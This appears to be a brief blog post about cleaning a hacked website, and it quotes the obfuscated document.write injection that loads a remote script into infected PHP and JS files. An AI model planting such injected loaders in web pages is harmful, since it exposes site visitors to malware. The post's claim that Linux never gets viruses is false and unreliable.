When it comes when your antivirus shows that your website have been infected by virus, where your webhosting is a linux base server. Then it must have been hacked and the hackers have been put some snipped code that will make your website cant work properly.
Usually it will adding some code at the end of your PHP, ASP, HTML and JS script.
The code snipped looks like this
/*Exception*/ document.write(‘<script src=’+’h^)t&)(t@@&p@:#)#!/!!#/@d)(a))n&#g&&d&)@!a&n^#g(-&c##@&$o#m).@&#n(&&!i&!!k$)(k!)#e(!i$^@@.^$c!^$o@&&#.!j(p().^c!)@l#!$i#@c))@k(
Its not a big issues as linux never have virus. What you need to is just remove these code from all the script infected. The problem is my client web files have been infected about 100 of JS and PHP files. Damn, its not worth it to spend time removing those code from hundreds file!
